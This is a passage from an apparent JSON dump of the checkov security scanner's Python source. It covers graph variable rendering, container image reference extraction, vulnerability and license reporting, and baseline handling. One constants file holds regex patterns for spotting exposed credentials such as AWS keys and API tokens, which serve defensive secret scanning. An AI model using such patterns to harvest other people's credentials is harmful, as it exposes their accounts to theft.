    )\n\n    def _evaluate_edge_groups(self, edges_groups: list[list[Edge]]) -> None:\n        if self.run_async:\n            run_function_multithreaded(\n                func=self._edge_evaluation_task,\n                data=edges_groups,\n                max_group_size=1,\n                num_of_workers=self.max_workers,\n            )\n        else:\n            for edge_group in edges_groups:\n                self._edge_evaluation_task([edge_group])\n\n    def _update_done_edges_by_origin_vertex(self, edges_to_render: list[Edge]) -> None:\n        for edge in edges_to_render:\n            origin = edge.origin\n            self.done_edges_by_origin_vertex.setdefault(origin, []).append(edge)\n\n    def _update_end_vertices_indexes(self, edges_to_render: list[Edge], end_vertices_indexes: set[int]) -> None:\n        already_checked: set[int] = set()\n\n        for edge in edges_to_render:\n            origin_vertex_index = edge.origin\n\n            # Only check each origin once\n            if origin_vertex_index in already_checked:\n                continue\n            already_checked.add(origin_vertex_index)\n\n            out_edges = set(self.local_graph.out_edges.get(origin_vertex_index, []))\n            done_edges_for_origin = set(self.done_edges_by_origin_vertex.get(origin_vertex_index, []))\n\n            if out_edges.issubset(done_edges_for_origin):\n                end_vertices_indexes.add(origin_vertex_index)\n\n    @abstractmethod\n    def _render_variables_from_vertices(self) -> None:\n        pass\n\n    def _edge_evaluation_task(self, edges: List[List[Edge]]) -> List[Edge]:\n        inner_edges = edges[0]\n        self.evaluate_vertex_attribute_from_edge(inner_edges)\n        return inner_edges\n\n    def _remove_unrelated_edges(self, edges_to_render: List[Edge]) -> List[Edge]:\n        new_edges_to_render = []\n        for edge in edges_to_render:\n            if not self.local_graph.vertices[edge.origin] == BlockType.RESOURCE or edge.origin not in self.vertices_index_to_render:\n                new_edges_to_render.append(edge)\n        return new_edges_to_render\n\n    @abstractmethod\n    def evaluate_vertex_attribute_from_edge(self, edge_list: List[Edge]) -> None:\n        pass\n\n    @staticmethod\n    def group_edges_by_origin_and_label(edges: Iterable[Edge]) -> List[List[Edge]]:\n        edge_groups: Dict[str, List[Edge]] = {}\n        for edge in edges:\n            edge_groups.setdefault(f\"{edge.origin}{edge.label}\", []).append(edge)\n        return list(edge_groups.values())\n\n    @abstractmethod\n    def evaluate_non_rendered_values(self) -> None:\n        pass\n"
  },
  {
    "path": "checkov/common/graph/graph_builder/variable_rendering/vertex_reference.py",
    "content": "from __future__ import annotations\n\nfrom abc import ABC, abstractmethod\nfrom typing import Any\n\n\nclass VertexReference(ABC):\n    __slots__ = (\"block_type\", \"sub_parts\", \"origin_value\")\n\n    def __init__(self, block_type: str, sub_parts: list[str], origin_value: str) -> None:\n        self.block_type = self.block_type_str_to_enum(block_type) if isinstance(block_type, str) else block_type\n        self.sub_parts = sub_parts\n        self.origin_value = origin_value\n\n    def __eq__(self, other: Any) -> bool:\n        if not isinstance(other, VertexReference):\n            return False\n        return (\n            self.block_type == other.block_type\n            and self.sub_parts == other.sub_parts\n            and self.origin_value == other.origin_value\n        )\n\n    def __str__(self) -> str:\n        return f\"{self.block_type} sub_parts = {self.sub_parts}, origin = {self.origin_value}\"\n\n    @staticmethod\n    @abstractmethod\n    def block_type_str_to_enum(block_type_str: str) -> str:\n        pass\n"
  },
  {
    "path": "checkov/common/graph/graph_manager.py",
    "content": "from __future__ import annotations\n\nfrom abc import abstractmethod\nfrom typing import Type, TYPE_CHECKING, TypeVar, Generic, Any, Optional\n\nif TYPE_CHECKING:\n    from checkov.common.graph.graph_builder.local_graph import LocalGraph  # noqa\n    from checkov.terraform.tf_parser import TFParser\n    from checkov.common.typing import LibraryGraph, LibraryGraphConnector\n\n_LocalGraph = TypeVar(\"_LocalGraph\", bound=\"LocalGraph[Any]\")\n_Definitions = TypeVar(\"_Definitions\")\n\n\nclass GraphManager(Generic[_LocalGraph, _Definitions]):\n    def __init__(self, db_connector: LibraryGraphConnector, parser: TFParser | None, source: str = \"\") -> None:\n        self.db_connector = db_connector\n        self.source = source\n        self.parser = parser\n\n    @abstractmethod\n    def build_graph_from_source_directory(\n        self,\n        source_dir: str,\n        local_graph_class: Type[_LocalGraph],\n        render_variables: bool = True,\n        parsing_errors: Optional[dict[str, Exception]] = None,\n        download_external_modules: Optional[bool] = False,\n        excluded_paths: Optional[list[str]] = None,\n        **kwargs: Any,\n    ) -> tuple[_LocalGraph | None, _Definitions]:\n        pass\n\n    @abstractmethod\n    def build_graph_from_definitions(\n        self, definitions: _Definitions, render_variables: bool = True\n    ) -> _LocalGraph:\n        pass\n\n    def save_graph(self, graph: _LocalGraph) -> LibraryGraph:\n        return self.db_connector.save_graph(graph)\n\n    def get_reader_endpoint(self) -> LibraryGraph:\n        return self.db_connector.get_reader_endpoint()\n\n    def get_writer_endpoint(self) -> LibraryGraph:\n        return self.db_connector.get_writer_endpoint()\n\n    def disconnect_from_db(self) -> None:\n        self.db_connector.disconnect()\n"
  },
  {
    "path": "checkov/common/images/__init__.py",
    "content": ""
  },
  {
    "path": "checkov/common/images/graph/__init__.py",
    "content": ""
  },
  {
    "path": "checkov/common/images/graph/image_referencer_manager.py",
    "content": "from __future__ import annotations\n\nfrom abc import abstractmethod\nfrom typing import TYPE_CHECKING\n\nfrom checkov.common.typing import LibraryGraph\n\nif TYPE_CHECKING:\n    from checkov.common.images.image_referencer import Image\n\n\nclass GraphImageReferencerManager:\n    __slots__ = (\"graph_connector\",)\n\n    def __init__(self, graph_connector: LibraryGraph) -> None:\n        self.graph_connector = graph_connector\n\n    @abstractmethod\n    def extract_images_from_resources(self) -> list[Image]:\n        pass\n"
  },
  {
    "path": "checkov/common/images/graph/image_referencer_provider.py",
    "content": "from __future__ import annotations\n\nimport os\nimport typing\nfrom abc import abstractmethod\nfrom typing import TYPE_CHECKING, Callable, Any, Mapping, Generator\n\nfrom checkov.common.graph.graph_builder import CustomAttributes\nfrom checkov.common.images.image_referencer import Image\nfrom checkov.common.typing import LibraryGraph, _RustworkxGraph\n\nif TYPE_CHECKING:\n    import networkx\n    from typing_extensions import TypeAlias\n\n_ExtractImagesCallableAlias: TypeAlias = Callable[[\"dict[str, Any]\"], \"list[str]\"]\n\n\nclass GraphImageReferencerProvider:\n    __slots__ = (\"graph_connector\", \"supported_resource_types\", \"graph_framework\")\n\n    def __init__(self, graph_connector: LibraryGraph,\n                 supported_resource_types: dict[str, _ExtractImagesCallableAlias] | Mapping[\n                     str, _ExtractImagesCallableAlias]):\n        self.graph_connector = graph_connector\n        self.supported_resource_types = supported_resource_types\n        self.graph_framework = os.environ.get('CHECKOV_GRAPH_FRAMEWORK', 'RUSTWORKX')\n\n    @abstractmethod\n    def extract_images_from_resources(self) -> list[Image]:\n        pass\n\n    def extract_nodes(self) -> LibraryGraph | None:\n        if self.graph_framework == 'RUSTWORKX':\n            return self.extract_nodes_rustworkx()\n        else:\n            return self.extract_nodes_networkx()\n\n    def extract_nodes_networkx(self) -> networkx.Graph:\n        if typing.TYPE_CHECKING:\n            self.graph_connector = typing.cast(networkx.Graph, self.graph_connector)\n        resource_nodes = [\n            node\n            for node, resource_type in self.graph_connector.nodes(data=CustomAttributes.RESOURCE_TYPE)\n            if resource_type and resource_type in self.supported_resource_types\n        ]\n\n        return self.graph_connector.subgraph(resource_nodes)\n\n    def extract_nodes_rustworkx(self) -> _RustworkxGraph:\n        resource_nodes = [\n            index\n            for index, node in self.graph_connector.nodes()\n            if self.resource_type_pred(node, list(self.supported_resource_types))\n        ]\n\n        return self.graph_connector.subgraph(resource_nodes)\n\n    def extract_resource(self, supported_resources_graph: LibraryGraph) -> \\\n            Generator[dict[str, Any], dict[str, Any], dict[str, Any]]:\n        def extract_resource_networkx(graph: networkx.Graph) -> Generator[dict[str, Any], None, None]:\n            for _, resource in graph.nodes(data=True):\n                yield resource\n\n        def extract_resource_rustworkx(graph: _RustworkxGraph) -> Generator[dict[str, Any], None, None]:\n            for _, resource in graph.nodes():\n                yield resource\n\n        graph_resource = None\n        if self.graph_framework == 'NETWORKX':\n            graph_resource = extract_resource_networkx(supported_resources_graph)\n        elif self.graph_framework == 'RUSTWORKX':\n            graph_resource = extract_resource_rustworkx(supported_resources_graph)\n\n        return graph_resource  # type: ignore\n\n    @staticmethod\n    def resource_type_pred(v: dict[str, Any], resource_types: list[str]) -> bool:\n        return not resource_types or (\"resource_type\" in v and v[\"resource_type\"] in resource_types)\n"
  },
  {
    "path": "checkov/common/images/image_referencer.py",
    "content": "from __future__ import annotations\n\nimport asyncio\nimport logging\nfrom abc import abstractmethod\nfrom collections.abc import Iterable\nfrom pathlib import Path\nfrom typing import Any, TYPE_CHECKING, Generic, TypeVar\nimport docker\n\nfrom checkov.common.bridgecrew.vulnerability_scanning.image_scanner import image_scanner\nfrom checkov.common.bridgecrew.vulnerability_scanning.integrations.docker_image_scanning import \\\n    docker_image_scanning_integration\nfrom checkov.common.output.common import ImageDetails\nfrom checkov.common.output.report import Report, CheckType\nfrom checkov.common.sca.commons import should_run_scan\nfrom checkov.common.sca.output import add_to_report_sca_data, get_license_statuses_async\nfrom checkov.common.typing import _LicenseStatus\n\nif TYPE_CHECKING:\n    from checkov.common.bridgecrew.platform_integration import BcPlatformIntegration\n    from checkov.runner_filter import RunnerFilter\n    from networkx import DiGraph\n\n_Definitions = TypeVar(\"_Definitions\")\n\nINVALID_IMAGE_NAME_CHARS = (\"[\", \"{\", \"(\", \"<\", \"$\")\n\n\ndef fix_related_resource_ids(report: Report | None, tmp_dir: str) -> None:\n    \"\"\"Remove tmp dir prefix from 'relatedResourceId'\"\"\"\n\n    if report and report.image_cached_results:\n        for cached_result in report.image_cached_results:\n            related_resource_id = cached_result.get(\"relatedResourceId\")\n            if related_resource_id and isinstance(related_resource_id, str):\n                cached_result[\"relatedResourceId\"] = related_resource_id.replace(tmp_dir, \"\", 1)\n\n\nclass Image:\n    def __init__(self, file_path: str, name: str, start_line: int, end_line: int,\n                 related_resource_id: str | None = None) -> None:\n        \"\"\"\n\n        :param file_path: example: 'checkov/integration_tests/example_workflow_file/.github/workflows/vulnerable_container.yaml'\n        :param name: example: 'node:14.16'\n        :param image_id: example: 'sha256:6a353e22ce'\n        :param start_line: example: 8\n        :param end_line: example: 16\n        \"\"\"\n        self.end_line = end_line\n        self.start_line = start_line\n        self.name = name\n        self.file_path = file_path\n        self.related_resource_id = related_resource_id\n\n    def __eq__(self, other: Any) -> bool:\n        if isinstance(other, self.__class__):\n            return self.__dict__ == other.__dict__\n\n        return False\n\n    def __ne__(self, other: Any) -> bool:\n        return not self.__eq__(other)\n\n    def __hash__(self) -> int:\n        return hash((self.file_path, self.name, self.start_line, self.end_line))\n\n\nclass ImageReferencer:\n    @abstractmethod\n    def is_workflow_file(self, file_path: str) -> bool:\n        \"\"\"\n\n        :param file_path: path of file to validate if it is a file that contains might images (example: CI workflow file)\n        :return: True if contains images\n\n        \"\"\"\n        return False\n\n    @abstractmethod\n    def get_images(self, file_path: str) -> Iterable[Image]:\n        \"\"\"\n        Get container images mentioned in a file\n        :param file_path: File to be inspected\n        :return: List of container images objects mentioned in the file.\n        \"\"\"\n        return []\n\n    @staticmethod\n    def inspect(image_name: str) -> str:\n        \"\"\"\n\n        :param image_name: name of the image to be inspected locally using a \"docker inspect X\". If image does not exist try to pull it locally.\n        :return: short image id sha that is inspected. In case inspect has failed None will be returned.\n        \"\"\"\n        try:\n            logging.info(\"Inspecting docker image {}\".format(image_name))\n            client = docker.from_env()\n            try:\n                image = client.images.get(image_name)\n            except Exception:\n                image = client.images.pull(image_name)\n                return image.short_id\n            return image.short_id\n        except Exception:\n            logging.debug(f\"failed to pull docker image={image_name}\", exc_info=True)\n            return \"\"\n\n\ndef is_valid_public_image_name(image_name: str) -> bool:\n    if image_name.startswith('localhost'):\n        return False\n    if any(char in image_name for char in INVALID_IMAGE_NAME_CHARS):\n        return False\n    if image_name.count(\":\") > 1:\n        # if there is more than one colon, then it is typically a private registry with port reference\n        return False\n    return True\n\n\nclass ImageReferencerMixin(Generic[_Definitions]):\n    \"\"\"Mixin class to simplify image reference search\"\"\"\n\n    def check_container_image_references(\n        self,\n        root_path: str | Path | None,\n        runner_filter: RunnerFilter,\n        graph_connector: DiGraph | None = None,\n        definitions: _Definitions | None = None,\n        definitions_raw: dict[str, list[tuple[int, str]]] | None = None,\n    ) -> Report | None:\n        \"\"\"Tries to find image references in graph based IaC templates\"\"\"\n        from checkov.common.bridgecrew.platform_integration import bc_integration\n\n        # skip complete run, if flag '--check' was used without a CVE check ID\n        if not should_run_scan(runner_filter.checks):\n            return None\n\n        images = self.extract_images(graph_connector=graph_connector, definitions=definitions,\n                                     definitions_raw=definitions_raw)\n        if not images:\n            return None\n\n        logging.info(f\"Found {len(images)} image references {[image.name for image in images]}\")\n\n        report = Report(CheckType.SCA_IMAGE)\n        root_path = Path(root_path) if root_path else None\n        check_class = f\"{image_scanner.__module__}.{image_scanner.__class__.__qualname__}\"\n        report_type = CheckType.SCA_IMAGE\n        image_names_to_query = list(set(filter(lambda i: is_valid_public_image_name(i), map(lambda i: i.name, images))))\n        results = asyncio.run(self._fetch_image_results_async(image_names_to_query))\n\n        license_statuses_by_image = asyncio.run(self._fetch_licenses_per_image(image_names_to_query, results))\n\n        for image in images:\n            try:\n                results_index = image_names_to_query.index(image.name)\n                cached_results = results[results_index]\n            except ValueError:\n                cached_results = {}\n\n            file_line_range = [image.start_line, image.end_line]\n            self._add_image_records(\n                report=report,\n                root_path=root_path,\n                check_class=check_class,\n                dockerfile_path=image.file_path,\n                image=image,\n                runner_filter=runner_filter,\n                report_type=report_type,\n                bc_integration=bc_integration,\n                cached_results=cached_results,\n                license_statuses=license_statuses_by_image.get(image.name) or [],\n                file_line_range=file_line_range if None not in file_line_range else None\n            )\n\n        return report\n\n    @staticmethod\n    async def _fetch_image_results_async(image_names_to_query: list[str]) -> list[dict[str, Any]]:\n        \"\"\"\n        This is an async implementation of `_fetch_image_results`. The only change is we're getting a session\n        as an input, and the asyncio behavior is managed in the calling method.\n        \"\"\"\n        return await asyncio.gather(*[\n            image_scanner.get_scan_results_from_cache_async(f\"image:{i}\")\n            for i in image_names_to_query\n        ])\n\n    def _add_image_records(\n        self,\n        report: Report,\n        root_path: Path | None,\n        check_class: str,\n        dockerfile_path: str,\n        image: Image,\n        runner_filter: RunnerFilter,\n        report_type: str,\n        bc_integration: BcPlatformIntegration,\n        cached_results: dict[str, Any],\n        license_statuses: list[_LicenseStatus],\n        file_line_range: list[int] | None = None\n    ) -> None:\n        \"\"\"Adds an image record to the given report, if possible\"\"\"\n        if cached_results:\n            logging.info(f\"Found cached scan results of image {image.name}\")\n            image_scanning_report: dict[str, Any] = docker_image_scanning_integration.create_report(\n                twistcli_scan_result=cached_results,\n                bc_platform_integration=bc_integration,\n                file_path=dockerfile_path,\n                file_content=f'image: {image.name}',\n                docker_image_name=image.name,\n                related_resource_id=image.related_resource_id,\n                root_folder=root_path,\n                error_lines=file_line_range\n            )\n            report.image_cached_results.append(image_scanning_report)\n\n            result = cached_results.get(\"results\", [{}])[0]\n            image_id = self._extract_image_short_id(result)\n            image_details = self._get_image_details_from_twistcli_result(scan_result=result, image_id=image_id)\n            dockerfile_rel_path = dockerfile_path\n            if root_path:\n                try:\n                    dockerfile_rel_path = str(Path(dockerfile_path).relative_to(root_path))\n                except ValueError:\n                    # Path.is_relative_to() was implemented in Python 3.9\n                    pass\n            rootless_file_path = dockerfile_rel_path.replace(Path(dockerfile_rel_path).anchor, \"\", 1)\n            rootless_file_path_to_report = f\"{rootless_file_path} ({image.name} lines:{image.start_line}-\" \\\n                                           f\"{image.end_line} ({image_id}))\"\n\n            self._add_vulnerability_records(\n                report=report,\n                result=result,\n                check_class=check_class,\n                dockerfile_path=dockerfile_path,\n                rootless_file_path=rootless_file_path_to_report,\n                image_details=image_details,\n                runner_filter=runner_filter,\n                report_type=report_type,\n                license_statuses=license_statuses,\n                file_line_range=file_line_range\n            )\n        else:\n            logging.info(f\"No cache hit for image {image.name}\")\n\n    @staticmethod\n    def _extract_image_short_id(scan_result: dict[str, Any]) -> str:\n        \"\"\"Extracts a shortened version of the image ID from the scan result\"\"\"\n\n        if \"id\" not in scan_result:\n            return \"sha256:unknown\"\n\n        image_id: str = scan_result[\"id\"]\n\n        if image_id.startswith(\"sha256:\"):\n            return image_id[:17]\n        return image_id[:10]\n\n    @staticmethod\n    def _get_image_details_from_twistcli_result(scan_result: dict[str, Any], image_id: str) -> ImageDetails:\n        \"\"\"Extracts the image detaisl from a twistcli scan result\"\"\"\n\n        image_packages = scan_result.get(\"packages\", [])\n        image_package_types = {f'{package[\"name\"]}@{package[\"version\"]}': package[\"type\"] for package in image_packages}\n        return ImageDetails(\n            distro=scan_result.get(\"distro\", \"\"),\n            distro_release=scan_result.get(\"distroRelease\", \"\"),\n            package_types=image_package_types,\n            image_id=image_id,\n        )\n\n    @staticmethod\n    def _add_vulnerability_records(\n        report: Report,\n        result: dict[str, Any],\n        check_class: str,\n        dockerfile_path: str,\n        rootless_file_path: str,\n        image_details: ImageDetails | None,\n        license_statuses: list[_LicenseStatus],\n        runner_filter: RunnerFilter,\n        report_type: str,\n        file_line_range: list[int] | None = None\n    ) -> None:\n        vulnerabilities = result.get(\"vulnerabilities\", [])\n        packages = result.get(\"packages\", [])\n        add_to_report_sca_data(\n            report=report,\n            check_class=check_class,\n            scanned_file_path=dockerfile_path,\n            rootless_file_path=rootless_file_path,\n            runner_filter=runner_filter,\n            vulnerabilities=vulnerabilities,\n            packages=packages,\n            license_statuses=license_statuses,\n            sca_details=image_details,\n            report_type=report_type,\n            file_line_range=file_line_range\n        )\n\n    @abstractmethod\n    def extract_images(\n        self,\n        graph_connector: DiGraph | None = None,\n        definitions: _Definitions | None = None,\n        definitions_raw: dict[str, list[tuple[int, str]]] | None = None\n    ) -> list[Image]:\n        \"\"\"Tries to find image references in the graph or supported resource\"\"\"\n\n        pass\n\n    @staticmethod\n    async def _fetch_licenses_per_image(image_names: list[str], image_results: list[dict[str, Any]]) \\\n            -> dict[str, list[_LicenseStatus]]:\n        merged_result: dict[str, list[_LicenseStatus]] = {}\n        license_results = await asyncio.gather(*[\n            get_license_statuses_async(result['results'][0].get('packages') or [], image_names[i])\n            for i, result in enumerate(image_results)\n            if \"results\" in result and result[\"results\"]\n        ])\n        merged_result.update({r['image_name']: r['licenses'] for r in license_results})\n        return merged_result\n"
  },
  {
    "path": "checkov/common/images/workflow/__init__.py",
    "content": ""
  },
  {
    "path": "checkov/common/images/workflow/image_referencer_manager.py",
    "content": "from __future__ import annotations\n\nfrom checkov.common.images.workflow.image_referencer_provider import WorkflowImageReferencerProvider\n\nfrom typing import Any, TYPE_CHECKING\n\nif TYPE_CHECKING:\n    from checkov.common.images.image_referencer import Image\n\n\nclass WorkflowImageReferencerManager:\n    __slots__ = (\"workflow_config\", \"file_path\", \"provider\")\n\n    def __init__(self, workflow_config: dict[str, Any], file_path: str, provider: WorkflowImageReferencerProvider):\n        self.workflow_config = workflow_config\n        self.file_path = file_path\n        self.provider = provider\n\n    def extract_images_from_workflow(self) -> list[Image]:\n        images: list[Image] = self.provider.extract_images_from_workflow()\n        return images\n"
  },
  {
    "path": "checkov/common/images/workflow/image_referencer_provider.py",
    "content": "from __future__ import annotations\n\nfrom abc import abstractmethod\nfrom typing import Any\n\nfrom checkov.common.images.image_referencer import Image\nfrom checkov.common.util.consts import START_LINE, END_LINE\n\n\nclass WorkflowImageReferencerProvider:\n    def __init__(self, workflow_config: dict[str, Any], file_path: str):\n        self.workflow_config = workflow_config\n        self.file_path = file_path\n\n    @staticmethod\n    def _get_start_end_lines(entity: dict[str, Any]) -> tuple[int, int]:\n        return entity.get(START_LINE, 0), entity.get(END_LINE, 0)\n\n    @abstractmethod\n    def extract_images_from_workflow(self) -> list[Image]:\n        pass\n"
  },
  {
    "path": "checkov/common/logger_streams.py",
    "content": "import shutil\nimport sys\nfrom io import StringIO\nfrom typing import Dict\n\n\nclass LoggerStreams:\n    def __init__(self) -> None:\n        self._streams: Dict[str, StringIO] = {}\n\n    def add_stream(self, name: str, stream: StringIO) -> None:\n        self._streams[name] = stream\n\n    def get_streams(self) -> Dict[str, StringIO]:\n        return self._streams\n\n    def print_to_files(self) -> None:\n        for key, value in self._streams.items():\n            with open(f'./checkov_debug_{key}.log', 'w') as fp:\n                value.seek(0)\n                shutil.copyfileobj(value, fp)\n\n    def print_to_console(self) -> None:\n        for key, value in self._streams.items():\n            print('----')\n            print(f'Logger of {key} start')\n            print(value.getvalue(), file=sys.stderr)\n\n\nlogger_streams = LoggerStreams()\n"
  },
  {
    "path": "checkov/common/models/__init__.py",
    "content": ""
  },
  {
    "path": "checkov/common/models/consts.py",
    "content": "import re\n\nfrom checkov.common.sast.consts import SastLanguages\n\nSUPPORTED_FILE_EXTENSIONS = [\".tf\", \".yml\", \".yaml\", \".json\", \".template\", \".bicep\", \".hcl\"]\nSUPPORTED_PACKAGE_FILES = {\n    \"bower.json\",\n    \"build.gradle\",\n    \"build.gradle.kts\",\n    \"go.sum\",\n    \"gradle.properties\",\n    \"METADATA\",\n    \"npm-shrinkwrap.json\",\n    \"package.json\",\n    \"package-lock.json\",\n    \"pom.xml\",\n    \"requirements.txt\",\n    \"Pipfile\",\n    \"Pipfile.lock\",\n}\nSUPPORTED_FILES = SUPPORTED_PACKAGE_FILES.union({\"Dockerfile\"})\n\nDEPENDENCY_TREE_SUPPORTED_FILES = {\"yarn.lock\", \"Gemfile\", \"Gemfile.lock\", \"go.mod\", \"paket.dependencies\", \"paket.lock\", \"packages.config\", \"composer.json\", \"composer.lock\"}\n\nSCANNABLE_PACKAGE_FILES_EXTENSIONS = {\".csproj\"}\n\nSCANNABLE_PACKAGE_FILES = SUPPORTED_PACKAGE_FILES | DEPENDENCY_TREE_SUPPORTED_FILES\n\nSAST_SUPPORTED_FILE_EXTENSIONS = {\n    SastLanguages.JAVA: ['.java'],\n    SastLanguages.JAVASCRIPT: ['.js'],\n    SastLanguages.TYPESCRIPT: ['.ts'],\n    SastLanguages.PYTHON: ['.py'],\n    SastLanguages.GOLANG: ['.go']\n}\n\nANY_VALUE = \"CKV_ANY\"\nDOCKER_IMAGE_REGEX = re.compile(r'(?:[^\\s\\/]+\\/)?([^\\s:]+):?([^\\s]*)')\naccess_key_pattern = re.compile(\"(?<![A-Z0-9])[A-Z0-9]{20}(?![A-Z0-9])\")  # nosec\nsecret_key_pattern = re.compile(\"(?<![A-Za-z0-9/+=])[A-Za-z0-9/+=]{40}(?![A-Za-z0-9/+=])\")  # nosec\nlinode_token_pattern = re.compile(\"(?<![A-Za-z0-9/+=])[A-Za-z0-9/+=]{64}(?![A-Za-z0-9/+=])\")  # nosec\nbridgecrew_token_pattern = re.compile(r\"^[a-f0-9]{8}-?[a-f0-9]{4}-?4[a-f0-9]{3}-?[89ab][a-f0-9]{3}-?[a-f0-9]{12}\\Z\")  # nosec\npanos_api_key_pattern = re.compile(r\"^LUFRPT1[a-zA-Z0-9]+==\\Z\")  # nosec\nSLS_DEFAULT_VAR_PATTERN = re.compile(r\"\\${([^{}]+?)}\")\nYAML_COMMENT_MARK = '#'\nTFC_HOST_NAME = \"app.terraform.io\"\nckv_check_id_pattern = re.compile(r\"^CKV2?_[A-Za-z]*_[0-9]*$\")\n"
  },
  {
    "path": "checkov/common/models/enums.py",
    "content": "from dataclasses import dataclass\nfrom enum import Enum, IntEnum\n\n\nclass CheckResult(str, Enum):\n    PASSED = \"PASSED\"\n    FAILED = \"FAILED\"\n    # Unknown should be used when a check does not wish to return a result, generally due to the inability\n    # to resolve a value or similar types of errors.\n    UNKNOWN = \"UNKNOWN\"\n    # Skipped is used by the framework when a test is suppressed and should not be used directly by checks.\n    SKIPPED = \"SKIPPED\"\n\n\nclass CheckCategories(Enum):\n    LOGGING = 1\n    ENCRYPTION = 2\n    GENERAL_SECURITY = 3\n    NETWORKING = 4\n    IAM = 5\n    BACKUP_AND_RECOVERY = 6\n    CONVENTION = 7\n    SECRETS = 8\n    KUBERNETES = 9\n    APPLICATION_SECURITY = 10\n    SUPPLY_CHAIN = 11\n    API_SECURITY = 12\n    SAST = 13\n    AI_AND_ML = 14\n\n\nclass OutputFormat(Enum):\n    CONSOLE = 1\n    JSON = 2\n    JUNIT_XML = 3\n\n\nclass ContextCategories(Enum):\n    PROVIDER = 1\n    TERRAFORM = 2\n    LOCALS = 3\n    MODULE = 4\n    DATA = 5\n    RESOURCE = 6\n    VARIABLE = 7\n    OUTPUT = 8\n\n\nclass ScanDataFormat(Enum):\n    TWISTCLI = 1\n    PLATFORM = 2\n    DEPENDENCY_TREE = 3\n\n\nclass ErrorStatus(IntEnum):\n    SUCCESS = 0\n    ERROR = 2\n\n\n@dataclass\nclass CheckFailLevel:\n    WARNING = 'WARNING'\n    ERROR = 'ERROR'\n\n\nclass ParallelizationType(str, Enum):\n    FORK = \"fork\"\n    SPAWN = \"spawn\"\n    THREAD = \"thread\"\n    NONE = \"none\"\n\n    def __str__(self) -> str:\n        # needed, because of a Python 3.11 change\n        return self.value\n"
  },
  {
    "path": "checkov/common/output/__init__.py",
    "content": ""
  },
  {
    "path": "checkov/common/output/baseline.py",
    "content": "from __future__ import annotations\n\nimport json\nfrom collections import defaultdict\nfrom operator import itemgetter\n\nfrom checkov.common.models.enums import CheckResult\nfrom typing import Any, TYPE_CHECKING\n\nif TYPE_CHECKING:\n    from checkov.common.output.record import Record\n    from checkov.common.output.report import Report\n    from checkov.common.typing import _BaselineFinding, _BaselineFailedChecks\n\n\nclass Baseline:\n    def __init__(self, output_skipped: bool = False) -> None:\n        self.path = \"\"\n        self.path_failed_checks_map: dict[str, list[_BaselineFinding]] = defaultdict(list)\n        self.failed_checks: list[_BaselineFailedChecks] = []\n        self.output_skipped = output_skipped\n\n    def add_findings_from_report(self, report: Report) -> None:\n        for check in report.failed_checks:\n            try:\n                existing = next(\n                    x for x in self.path_failed_checks_map[check.file_path] if x[\"resource\"] == check.resource\n                )\n            except StopIteration:\n                existing = {\"resource\": check.resource, \"check_ids\": []}\n                self.path_failed_checks_map[check.file_path].append(existing)\n            existing[\"check_ids\"].append(check.check_id)\n            existing[\"check_ids\"].sort()  # Sort the check IDs to be nicer to the eye\n\n    def to_dict(self) -> dict[str, Any]:\n        \"\"\"\n        The output of this class needs to be very explicit, hence the following structure of the dict:\n        {\n            \"failed_checks\": [\n                {\n                    \"file\": \"path/to/file\",\n                    \"findings: [\n                        {\n                            \"resource\": \"aws_s3_bucket.this\",\n                            \"check_ids\": [\n                                \"CKV_AWS_1\",\n                                \"CKV_AWS_2\",\n                                \"CKV_AWS_3\"\n                            ]\n                        }\n                    ]\n                }\n            ]\n        }\n        \"\"\"\n        failed_checks_list = []\n        for file, findings in self.path_failed_checks_map.items():\n            formatted_findings = []\n            for finding in findings:\n                formatted_findings.append({\"resource\": finding[\"resource\"], \"check_ids\": finding[\"check_ids\"]})\n            sorted_findings = sorted(formatted_findings, key=itemgetter(\"resource\"))\n            failed_checks_list.append({\"file\": file, \"findings\": sorted_findings})\n\n        resp = {\"failed_checks\": sorted(failed_checks_list, key=itemgetter(\"file\"))}\n        return resp\n\n    def compare_and_reduce_reports(self, scan_reports: list[Report]) -> None:\n        for scan_report in scan_reports:\n            scan_report.passed_checks = [\n                check for check in scan_report.passed_checks if self._is_check_in_baseline(check)\n            ]\n            scan_report.skipped_checks = [\n                check for check in scan_report.skipped_checks if self._is_check_in_baseline(check)\n            ]\n            if self.output_skipped:\n                for check in scan_report.failed_checks:\n                    if self._is_check_in_baseline(check):\n                        check.check_result[\"suppress_comment\"] = \"baseline-skipped\"\n                        check.check_result[\"result\"] = CheckResult.SKIPPED\n                        scan_report.skipped_checks.append(check)\n            scan_report.failed_checks = [\n                check for check in scan_report.failed_checks if not self._is_check_in_baseline(check)\n            ]\n\n    def _is_check_in_baseline(self, check: Record) -> bool:\n        failed_check_id = check.check_id\n        failed_check_resource = check.resource\n        for baseline_failed_check in self.failed_checks:\n            for finding in baseline_failed_check[\"findings\"]:\n                if finding[\"resource\"] == failed_check_resource and failed_check_id in finding[\"check_ids\"]:\n                    return True\n        return False\n\n    def from_json(self, file_path: str) -> None:\n        self.path = file_path\n        with open(file_path, \"r\") as f:\n            baseline_raw = json.load(f)\n            self.failed_checks = baseline_raw.get(\"failed_checks\", {})\n"
  },
  {
    "path": "checkov/common/output/common.py",
    "content": "from __future__ import annotations\n\nfrom dataclasses import dataclass, field\n\nfrom checkov.common.bridgecrew.severities import Severities\nfrom checkov.common.output.record import DEFAULT_SEVERITY\n\nUNKNOWN_LICENSE = 'Unknown'\n\n\n@dataclass\nclass SCADetails:\n    package_types: dict[str, str] = field(default_factory=dict)\n\n\n@dataclass\nclass ImageDetails(SCADetails):\n    distro: str = ''\n    distro_release: str = ''\n    image_id: str = ''\n    name: str | None = ''\n    related_resource_id: str | None = ''\n\n\ndef is_raw_formatted(licenses: str) -> bool:\n    return '\",\"' in licenses\n\n\ndef format_licenses_to_string(licenses_lst: list[str]) -> str:\n    if isinstance(licenses_lst, list):\n        if len(licenses_lst) > 1:\n            joined_str = '\",\"'.join(licenses_lst)\n            return f'\"{joined_str}\"'\n        elif licenses_lst:\n            return licenses_lst[0]\n    return UNKNOWN_LICENSE\n\n\ndef format_string_to_licenses(licenses_str: str) -> list[str]:\n    if licenses_str == UNKNOWN_LICENSE:\n        return [licenses_str]\n    elif licenses_str:\n        # remove first and last quotes\n        licenses_str = licenses_str[1:-1] if licenses_str.startswith('\"') and licenses_str.endswith(\n            '\"') else licenses_str\n        license_lst = licenses_str.split('\",\"')\n\n        return license_lst\n    else:\n        return []\n\n\ndef compare_table_items_severity(table_item: dict[str, str]) -> int:\n    severity = (table_item.get(\"severity\") or DEFAULT_SEVERITY).upper()\n    return Severities[severity].level\n\n\ndef validate_lines(lines: list[int] | None) -> list[int] | None:\n    if lines and lines[0] > 0 and lines[1] > 